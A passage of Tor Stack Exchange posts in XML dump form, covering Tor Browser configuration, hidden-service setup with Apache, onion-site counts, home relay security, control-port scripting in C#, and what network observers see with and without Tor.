  <row Id="8752" PostTypeId="2" ParentId="8751" CreationDate="2015-09-27T09:11:15.097" Score="1" Body="&lt;p&gt;Download &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TOR Browser Bundle&lt;/a&gt; and install it on your machine.&lt;/p&gt;&#xA;&lt;p&gt;Open the TOR Browser and select &amp;quot;Configure&amp;quot;. Here you can configure TOR to authenticate on your proxy server.&lt;/p&gt;&#xA;" OwnerUserId="9395" OwnerDisplayName="feral_fenrir" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-09-27T09:11:15.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8753" PostTypeId="2" ParentId="8751" CreationDate="2015-09-27T16:36:24.493" Score="0" Body="&lt;p&gt;A comprehensive guide can be found &lt;a href=&quot;https://www.whonix.org/wiki/Tunnel_Tor_through_proxy_or_VPN_or_SSH&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Tor is not a VPN service as its means of operation and intended use are different; VPN has not been designed with sender anonymity in mind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot use the http protocol with Tor as Tor doesn't understand http. You will most likely need a SOCKSv4/5 server that accepts raw traffic as your proxy. &lt;/p&gt;&#xA;" OwnerUserId="7410" OwnerDisplayName="Sebi" LastActivityDate="2015-09-27T16:36:24.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8756" PostTypeId="1" CreationDate="2015-09-29T11:12:16.697" Score="1" ViewCount="131" Body="&lt;p&gt;I don't think I installed anything to to bypass Tor's non-Flash settings, but I seem to be able to play YouTube videos in my Tor Browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, not sure if this has anything to do it, but I just, finally, upgraded to Yosemite. Too, I live in the U.A.E. in the Middle East and installed Yosemite here, not in the U.S. or Europe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Has my computer been compromised (spyware, etc.)? Will it be compromised if I'm able to use Flash on Tor Browser&lt;/strong&gt; Or does Yosemite or the new Tor Browser update now allow Flash, YouTubes to be played?&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="350" LastEditDate="2015-09-29T17:53:45.197" LastActivityDate="2015-09-29T17:53:45.197" Title="Just updated to Yosemite. YouTube, Flash, plays in Tor Browser?" Tags="|tor-browser-bundle|update|flash|mac|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8757" PostTypeId="1" CreationDate="2015-09-29T12:18:57.360" Score="1" ViewCount="468" Body="&lt;p&gt;What is going on? Am using Tor Browser along with &quot;Strong VPN.&quot; Just signed out of my Hotmail which, at first, showed U.K. stories on its homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now that I'm about to sign back in, my real location in the U.A.E. seems to be revealed through MSN's home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on? I must have been compromised. How is this possible? Anyone has any ideas on what I should do. What I should check? What I need to delete. I'm using, a Mac. Just updated to Yosemite while here in the U.A.E. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too, I'm able to use Flash, watch YouTube, while using Tor Browser -- as per my previous question. I closed then restarted my laptop a few hours ago to semi-clean-up lagging programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t5cMI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t5cMI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my IP location -- when I do a &quot;what is my IP&quot; check -- shows the VPN location I connected to, which in this case is the U.K.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise!&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-09-29T12:28:04.130" LastActivityDate="2015-09-29T12:28:04.130" Title="Am using Tor now w/a VPN. How did MSN pinpoint my location? Screenshot" Tags="|tor-browser-bundle|anonymity|security|vpn|flash|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8758" PostTypeId="1" CreationDate="2015-09-29T18:26:52.870" Score="3" ViewCount="1154" Body="&lt;p&gt;I have tried nginx and apache2. I have configured everything according to all the guides and my hidden service still won't come up. I've done port forwarding to the port I want apache or nginx to redirect to and still nothing. I have a few bitcoin and would be willing to donate if someone can help me get this working. I'm on Ubuntu 14.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;torrc&lt;/code&gt; reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 6666 127.0.0.1:7777&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the Apache2 config has the following components.&#xA;&lt;code&gt;sites-enable/default.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:6666&amp;gt;&#xA;    ServerAdmin webmaster@localhost&#xA;    DocumentRoot /var/www/html&#xA;    ErrorLog ${APACHE_LOG_DIR}/error.log&#xA;    CustomLog ${APACHE_LOG_DIR}/access.log combined&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;apache2/ports.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NameVirtualHost 127.0.0.1:6666&#xA;Listen 127.0.0.1:6666&#xA;&#xA;&amp;lt;IfModule ssl_module&amp;gt;&#xA;    NameVirtualHost 127.0.0.1:443&#xA;    Listen 127.0.0.1:443&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_gnutls.c&amp;gt;&#xA;    NameVirtualHost 127.0.0.1:443&#xA;    Listen 127.0.0.1:443&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;apache2.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerRoot &quot;/etc/apache2&quot;&#xA;Mutex file:${APACHE_LOCK_DIR} default&#xA;PidFile ${APACHE_PID_FILE}&#xA;Timeout 300&#xA;KeepAlive On&#xA;MaxKeepAliveRequests 100&#xA;KeepAliveTimeout 5&#xA;User ${APACHE_RUN_USER}&#xA;Group ${APACHE_RUN_GROUP}&#xA;HostnameLookups Off&#xA;ErrorLog ${APACHE_LOG_DIR}/error.log&#xA;LogLevel warn&#xA;IncludeOptional mods-enabled/*.load&#xA;IncludeOptional mods-enabled/*.conf&#xA;Include ports.conf&#xA;&amp;lt;Directory /&amp;gt;&#xA;    Options FollowSymLinks&#xA;    AllowOverride None&#xA;    Require all denied&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&amp;lt;Directory /usr/share&amp;gt;&#xA;    AllowOverride None&#xA;    Require all granted&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&amp;lt;Directory /var/www/&amp;gt;&#xA;    Options Indexes FollowSymLinks&#xA;    AllowOverride None&#xA;    Require all granted&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;AccessFileName .htaccess&#xA;&amp;lt;FilesMatch &quot;^\.ht&quot;&amp;gt;&#xA;    Require all denied&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;LogFormat &quot;%v:%p %h %l %u %t \&quot;%r\&quot; %&amp;gt;s %O \&quot;%{Referer}i\&quot; \&quot;%{User-Agent}i\&quot;&quot; vhost_combined&#xA;LogFormat &quot;%h %l %u %t \&quot;%r\&quot; %&amp;gt;s %O \&quot;%{Referer}i\&quot; \&quot;%{User-Agent}i\&quot;&quot; combined&#xA;LogFormat &quot;%h %l %u %t \&quot;%r\&quot; %&amp;gt;s %O&quot; common&#xA;LogFormat &quot;%{Referer}i -&amp;gt; %U&quot; referer&#xA;LogFormat &quot;%{User-agent}i&quot; agent&#xA;IncludeOptional conf-enabled/*.conf&#xA;IncludeOptional sites-enabled/*.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8033" LastEditorUserId="88" LastEditDate="2015-09-30T14:34:41.770" LastActivityDate="2015-11-18T18:24:07.090" Title="Can't access my hidden service" Tags="|onion-services|ubuntu|website|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8763" PostTypeId="1" AcceptedAnswerId="8764" CreationDate="2015-09-30T14:21:17.447" Score="3" ViewCount="2892" Body="&lt;p&gt;I have read &lt;a href=&quot;http://www.forbes.com/sites/thomasbrewster/2015/06/01/dark-web-vulnerability-scan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article on forbes&lt;/a&gt; claiming that deepnet has only 7100 onion sites and took only 3 hours to scan completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which to me sounds like total nonsense since if average .onion address is 16 long (example: &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt;) and can be made up from numbers and letters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then possible combinations are &lt;code&gt;65536*(27+10)^16 = 8.0855118e+29&lt;/code&gt; (&lt;code&gt;ports *(letters + numbers)^symbol_count&lt;/code&gt;) which if they would scan 65536 addresses per second (they would need to wait at least one second for response my understanding is that one can only open 65536 connections per machine simultaneously) to scan entire range of addresses they would need &lt;code&gt;3*60*60*65536 = 707788800&lt;/code&gt; (&lt;code&gt;hours*minutes*seconds*connections_scanning_at_one_time&lt;/code&gt;) They would need &lt;code&gt;(65536*(27+10)^16)/(3*60*60*65536) = 1.1423622e+21&lt;/code&gt; machines, which I doubt they have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could they have made a scan of all the &lt;code&gt;.onion&lt;/code&gt; websites in 3 hours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have first asked &lt;a href=&quot;https://skeptics.stackexchange.com/questions/30215/does-deepnet-have-only-7100-onion-sites&quot;&gt;this question on SO skeptics&lt;/a&gt;, but it was suggested that it better fits here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of comments was that limitation of 64k simultaneous scans does not apply, still amount of possible addresses is astronomical.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You might want to have a look at programs like zmap, which is the&#xA;  fastest way of scanning things (no 64k connections limitation).&#xA;  Another approach to estimate a minimal time would be to take the data&#xA;  needed for a proper handshake and multiply and then divide by the&#xA;  fattest line you have available. –  PlasmaHH&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:46:45.093" LastActivityDate="2015-10-25T19:14:49.240" Title="Does deepnet have only 7100 onion sites?" Tags="|onion-services|web-hosting|website|darknet|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8764" PostTypeId="2" ParentId="8763" CreationDate="2015-09-30T15:04:50.720" Score="3" Body="&lt;p&gt;Your calculation is not fully correct. The hidden service address is encoded in &lt;a href=&quot;https://en.wikipedia.org/wiki/Base32&quot; rel=&quot;nofollow noreferrer&quot;&gt;Base32&lt;/a&gt;, which means there are 32 characters available. So there are &lt;a href=&quot;https://www.wolframalpha.com/input/?i=32%5E16&quot; rel=&quot;nofollow noreferrer&quot;&gt;32^16=1.208925819614629174706176×10^24&lt;/a&gt; addresses available. Even if you assume that someone has 10 billion machines and each machine needs a second for a test the whole experiment would need nearly &lt;a href=&quot;https://www.wolframalpha.com/input/?i=32%5E16%2F10000000000%20sec&quot; rel=&quot;nofollow noreferrer&quot;&gt;four million years&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ahmia.fi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ahmia.fi&lt;/a&gt; is a search engine which indexes hidden services. They have a bit more than 5000 addresses in their database. The Tor metrics page knows about nearly 30.000 unique onion addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4yzEU.png&quot; alt=&quot;onion addresses&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the number of 7100 might be feasable.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-09-30T15:04:50.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8765" PostTypeId="2" ParentId="8763" CreationDate="2015-09-30T18:55:06.537" Score="2" Body="&lt;p&gt;7100 sounds about right for the number of hidden &lt;strong&gt;web&lt;/strong&gt; services that are up at any given time. It actually sounds a bit high. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 30K from Tor metrics are the aggregate data from HSDirs. The fact that a hidden service is hosted/registered on the Tor network does not mean that it points to an actual live server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Scanning' all possible addresses is not the way to find out. It is just impossible. I believe that ahmia.fi uses a combination of HSDir data and crawling/spidering. That should find pretty much everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 hours also sounds plausible, but I do think (and hope) that they used more than one Guard.&lt;br&gt;&#xA;(Let's say 5 clients * 6 parallel connections per client / 10 seconds per connection = 3 connections per second.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-30T18:55:06.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8766" PostTypeId="1" AcceptedAnswerId="8769" CreationDate="2015-09-30T21:35:59.383" Score="1" ViewCount="227" Body="&lt;p&gt;I want to host a relay to help out the network. I am looking into the possibility of doing it on my home network. Two concerns have come up during my research. The first is I would potentially be using a computer that I currently use has a HTPC. I am wondering how much the information presented on the link below would apply to my situation. Is encrypting the rest of my files necessary? If they aren't necessarily confidential? Would it be unwise to say login to my bank account on this computer once I am running a relay? I guess I am just wondering am I somehow increasing my attack vector if I am running a relay? Or is it just additional attention that makes security important?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/OperationalSecurity&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/OperationalSecurity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second concern is in regards to having my IP blocked by certain websites. Is there anything I can do to combat this or reduce the effects? From the information I have read it seems like website blocking isn't that widespread but I just I am just apprehensive to run a relay if I might be blocked by websites I need to visit such as my bank. (this might be a poor question feel free not to answer if its too opinionated.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've gathered it does seem preferred to just rent a VPS and I might consider doing that but I guess I would like to know the viability of using my home network since I have a server already running 24/7.&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-01T11:09:58.633" Title="Security for relay on Home network" Tags="|security|attacks|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8767" PostTypeId="1" CreationDate="2015-09-30T23:43:51.493" Score="1" ViewCount="59" Body="&lt;p&gt;Several times a day I notice that Tor is not only connected to the guard node but also to other IP addresses. Sometimes three or four IP addresses. Is this normal?&lt;/p&gt;&#xA;" OwnerUserId="9520" LastEditorUserId="350" LastEditDate="2015-10-19T18:19:54.027" LastActivityDate="2016-03-17T22:17:43.540" Title="Tor is connected not only to guard node" Tags="|anonymity|" AnswerCount="2" CommentCount="2" ClosedDate="2016-03-17T22:33:48.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="8768" PostTypeId="2" ParentId="1987" CreationDate="2015-10-01T06:16:04.727" Score="0" Body="&lt;p&gt;You can use the library &quot;SocksWebProxy&quot;. It can be used with WebClient &amp;amp; WebRequest (Just assign a new SocksWebProxy to the *.Proxy attribute). No Need for Privoxy or similar service to translate http traffic to tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Ogglas/SocksWebProxy&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Ogglas/SocksWebProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made some extensions to it as well by enabling the control port. Here is how you could have Tor running in the background without Tor Browser Bundle started and to control Tor we can use Telnet or send commands programmatically via Socket.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Socket server = null;&#xA;&#xA;//Authenticate using control password&#xA;IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse(&quot;127.0.0.1&quot;), 9151);&#xA;server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);&#xA;server.Connect(endPoint);&#xA;server.Send(Encoding.ASCII.GetBytes(&quot;AUTHENTICATE \&quot;your_password\&quot;&quot; + Environment.NewLine));&#xA;byte[] data = new byte[1024];&#xA;int receivedDataLength = server.Receive(data);&#xA;string stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);&#xA;&#xA;//Request a new Identity&#xA;server.Send(Encoding.ASCII.GetBytes(&quot;SIGNAL NEWNYM&quot; + Environment.NewLine));&#xA;data = new byte[1024];&#xA;receivedDataLength = server.Receive(data);&#xA;stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);&#xA;if (!stringData.Contains(&quot;250&quot;))&#xA;{&#xA;    Console.WriteLine(&quot;Unable to signal new user to server.&quot;);&#xA;    server.Shutdown(SocketShutdown.Both);&#xA;    server.Close();&#xA;}&#xA;else&#xA;{&#xA;    Console.WriteLine(&quot;SIGNAL NEWNYM sent successfully&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Steps to configure Tor:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy torrc-defaults into the directory in which tor.exe is. Default directory if you are using Tor browser is: &quot;~\Tor Browser\Browser\TorBrowser\Data\Tor&quot;&lt;/li&gt;&#xA;&lt;li&gt;Open a cmd prompt window&lt;/li&gt;&#xA;&lt;li&gt;chdir to the directory where tor.exe is. Default directory if you are using Tor browser is: &quot;~\Tor Browser\Browser\TorBrowser\Tor\&quot;&lt;/li&gt;&#xA;&lt;li&gt;Generate a password for Tor control port access. &lt;code&gt;tor.exe --hash-password “your_password_without_hyphens” | more&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add your password password hash to torrc-defaults under ControlPort 9151. It should look something like this: &lt;code&gt;hashedControlPassword 16:3B7DA467B1C0D550602211995AE8D9352BF942AB04110B2552324B2507&lt;/code&gt;. If you accept your password to be &quot;password&quot; you can copy the string above.&lt;/li&gt;&#xA;&lt;li&gt;You can now access Tor control via Telnet once it is started. Now the code can run, just edit the path to where your Tor files are located in the program.&#xA;Test modifying Tor via Telnet:&lt;/li&gt;&#xA;&lt;li&gt;Start tor with the following command: &lt;code&gt;tor.exe -f .\torrc-defaults&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Open up another cmd prompt and type: &lt;code&gt;telnet localhost 9151&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If all goes well you should see a completely black screen. Type &quot;&lt;code&gt;autenticate “your_password_with_hyphens”&lt;/code&gt;&quot; If  all goes well you should see &quot;250 OK&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Type &quot;&lt;code&gt;SIGNAL NEWNYM&lt;/code&gt;&quot; and you will get a new route, ergo new IP. If  all goes well you should see &quot;250 OK&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Type &quot;&lt;code&gt;setevents circ&lt;/code&gt;&quot; (circuit events) to enable console output&lt;/li&gt;&#xA;&lt;li&gt;Type &quot;&lt;code&gt;getinfo circuit-status&lt;/code&gt;&quot; to see current circuits&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9515" LastActivityDate="2015-10-01T06:16:04.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8769" PostTypeId="2" ParentId="8766" CreationDate="2015-10-01T11:09:58.633" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;... am I somehow increasing my attack vector  ... or is it just additional attention that makes security important?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A little bit of both. As with any service you host, you let the internet connect to a piece of software that listens and answers. But in this case, you also put yourself on a public list.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not run an exit node on your own home network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;having my IP blocked by certain websites&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This happens, but not a lot. I would guess that you could just contact the webmaster in question, explain that you run a non-exit Tor node, ask them to whitelist you. Especially in the case of (say) your bank, since you are their customer and they want to keep you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could consider running a bridge. Since bridges are not publicly advertised, you won't have the &lt;em&gt;additional attention&lt;/em&gt; and the &lt;em&gt;IP blocking&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-01T11:09:58.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8771" PostTypeId="1" AcceptedAnswerId="9959" CreationDate="2015-10-01T16:32:14.540" Score="0" ViewCount="2651" Body="&lt;p&gt;OpenVPN + obfs3 is a popular combination for censorship circumvention, but it's getting slow nowadays. Obfs4 works great with tor, but Yawning Angel seems to not have enough time to make obfs4 spliceable with OpenVPN, so I'd like to do it myself. How would I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="9531" LastActivityDate="2019-01-20T12:37:59.357" Title="How would I go about making obfs4 a standalone proxy for usage with OpenVPN or other programs?" Tags="|obfsproxy|openvpn|obfs4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8773" PostTypeId="1" AcceptedAnswerId="8858" CreationDate="2015-10-01T20:55:04.407" Score="1" ViewCount="1229" Body="&lt;p&gt;Am I less or more secure, if I use tor when I do not need anonimity? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a web site does not support https, and I need to download a program from there, is it better to use tor, or not? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it good idea to configure system to send [almost] all traffic through tor?&lt;/p&gt;&#xA;" OwnerUserId="9533" LastActivityDate="2015-10-25T19:24:09.017" Title="Is it good or bad idea to use tor always?" Tags="|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8774" PostTypeId="2" ParentId="8773" CreationDate="2015-10-01T21:14:37.693" Score="0" Body="&lt;p&gt;In general I think its preferred not to do bandwidth intensive tasks, usual examples would be torrenting or streaming (netflix/hulu). For general browsing you might be fine. Although I would say there are plenty of websites you are going to have troubles getting to due to blocking of exit nodes. Downloading from a site that uses http would pretty much result in the same process on either clearnet or tor, only difference I could see would be your IP would not be your own. As for safety if I understand correctly the vulnerabilities you open yourself up to when using http would not change between clearnet and tor. In general your questions are pretty broad. It might be best to do some more research so you can formulate questions that might elicit a more defined answer.&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-01T21:14:37.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8775" PostTypeId="1" CreationDate="2015-10-02T14:30:12.510" Score="3" ViewCount="276" Body="&lt;p&gt;Using TorBrowser, login with &lt;em&gt;username&lt;/em&gt; and &lt;em&gt;password&lt;/em&gt; on site.com (e.g., google, amazon, etc.), then ask TorBrowser for &quot;New Tor circuit for this site.&quot; &lt;strong&gt;Why does site.com (sometimes) recognize this &quot;new Tor circuit&quot; as associated with the same &lt;em&gt;username&lt;/em&gt; rather than a new, currently anonymous connection?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I assume &quot;New Tor circuit&quot; request specifically forces new Tor exit node (new IP address).&lt;/li&gt;&#xA;&lt;li&gt;The url is generic (not site.com/username-abc123.html).&lt;/li&gt;&#xA;&lt;li&gt;JavaScript disabled.&lt;/li&gt;&#xA;&lt;li&gt;It seems that TorBrowser has allowed site.com to put cookie or other identifying feature on this browser session that persists across &quot;New Tor circuit&quot; request.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this expected behavior for &quot;New Tor circuit for this site&quot;?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4995" LastEditorUserId="4995" LastEditDate="2015-10-02T15:59:35.787" LastActivityDate="2016-02-29T23:59:17.607" Title="Login to site.com, request &quot;New Tor circuit for this site&quot;, site.com still recognizes original login" Tags="|circuit|google|login|persistent|cookies|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8776" PostTypeId="2" ParentId="8775" CreationDate="2015-10-02T15:24:06.443" Score="0" Body="&lt;p&gt;It could be a session cookie. &#xA;Try using a new identity, instead of &lt;em&gt;merely&lt;/em&gt; a new circuit. I believe that the latter will get rid of any session cookies.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-02T15:24:06.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8777" PostTypeId="2" ParentId="4625" CreationDate="2015-10-02T15:56:20.883" Score="0" Body="&lt;p&gt;You have not defined &quot;safe&quot; but one way to think about it is to ask what information you create or leak by your two methods, login with and without use of the TorBrowser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the information below assumes you have a secure, encrypted connection to a router and assumes that this is a &lt;strong&gt;&quot;first login&quot;&lt;/strong&gt; to &lt;em&gt;site.com&lt;/em&gt;. Clearly, if &lt;em&gt;site.com&lt;/em&gt; stored &lt;em&gt;your IP&lt;/em&gt; yesterday without TorBrowser and sees your &lt;em&gt;username&lt;/em&gt; login from Tor exit node today, it is possible that &lt;em&gt;site.com&lt;/em&gt; will combine this information.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to http site &lt;strong&gt;without&lt;/strong&gt; TorBrowser&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Router &amp;amp; ISP &amp;amp; Intermediary servers see: &lt;em&gt;your IP&lt;/em&gt;, &lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Site.com&lt;/em&gt; sees: &lt;em&gt;your IP&lt;/em&gt;, &lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kxoqy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kxoqy.png&quot; alt=&quot;HTTP without TorBrowser&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Login to http&lt;strong&gt;S&lt;/strong&gt; site &lt;strong&gt;without&lt;/strong&gt; TorBrowser&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Router &amp;amp; ISP &amp;amp; Intermediary servers see: &lt;em&gt;your IP&lt;/em&gt;, &lt;em&gt;site.com&lt;/em&gt;, &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Site.com&lt;/em&gt; sees &lt;em&gt;your IP&lt;/em&gt;, &lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qM5r0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qM5r0.png&quot; alt=&quot;HTTPS without TorBrowser&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Login to http site &lt;strong&gt;with&lt;/strong&gt; TorBrowser&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Router &amp;amp; ISP &amp;amp; Intermediary servers see: &lt;em&gt;your IP&lt;/em&gt;, &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}, &lt;strong&gt;your Tor entry node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor entry node sees: &lt;em&gt;your IP&lt;/em&gt;, &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}, &lt;strong&gt;your Tor entry node&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor relay node sees &lt;strong&gt;encrypted&lt;/strong&gt;{&lt;em&gt;site.com&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;password&lt;/em&gt;}, &lt;strong&gt;your Tor entry 